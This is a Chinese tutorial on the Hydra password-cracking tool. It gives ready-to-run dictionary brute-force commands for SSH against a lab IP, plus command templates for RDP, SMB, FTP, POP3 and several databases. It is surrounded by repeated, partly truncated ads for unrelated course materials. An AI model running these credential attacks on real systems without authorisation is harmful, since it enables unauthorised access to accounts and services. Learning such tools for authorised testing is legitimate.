2024年Hydra密码爆破工具使用教程图文教程（超详细）(2)，醍醐灌顶

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以戳这里获取

但很多时候，我们是不知道密码的，所以就要使用密码字典来爆破。

三、使用字典爆破

小写的 -p 是指定密码，大写的 -P是指定字典文件。

hydra -l root -P 密码字典 192.168.31.173 ssh

1）我们先准备一个简单的密码字典，创建一个 pwd.txt 文件，在里面输入几个简单的密码：

2）然后指定这个密码字典：

hydra -l root -P pwd.txt 192.168.31.173 ssh

可以看到爆破成功了，但只给了一个结果：

3）如果想看爆破的过程，可以加上 -vV参数，显示执行细节：

hydra -l root -P pwd.txt 192.168.31.173 ssh -vV

我们的密码字典中有三个密码，它也会执行三次，并把执行过程列了出来。

4）上面的密码字典使用的是相对路径，我们也可以把它换成绝对路径：

hydra -l root -P /root/pwd.txt 192.168.31.173 ssh

SSH协议的默认用户是 root，所以上面我们都是指定的用户名，如果不确定用户名，就要指定用户名字典，比如下面这种格式：

hydra -L /root/usr.txt -P /root/pwd.txt 192.168.31.173 ssh

爆破其他协议服务时，把协议名和默认用户名换一下就可以了。

协议对应的服务名和默认密码经常会忘记，下面整理了一些常见的服务爆破格式。

四、Hydra爆破常见服务

远程桌面（RDP）

hydra -l administrator -P 密码字典 192.168.31.173 rdp

共享文件（SMB）

hydra -l administrator -P 密码字典 192.168.31.173 smb

文件传输（FTP）

hydra -l 用户名 -P 密码字典 192.168.31.173 ftp	

邮箱协议（POP3）

hydra -l 用户名 -P 密码字典 192.168.31.173 pop3

MSSQL数据库

hydra -l sa -P 密码字典 192.168.31.173 mssql

MySQL数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 mysql

Oracle数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 oracle

Redis数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 redis

PgSQL数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以戳这里获取

适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！**

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以戳这里获取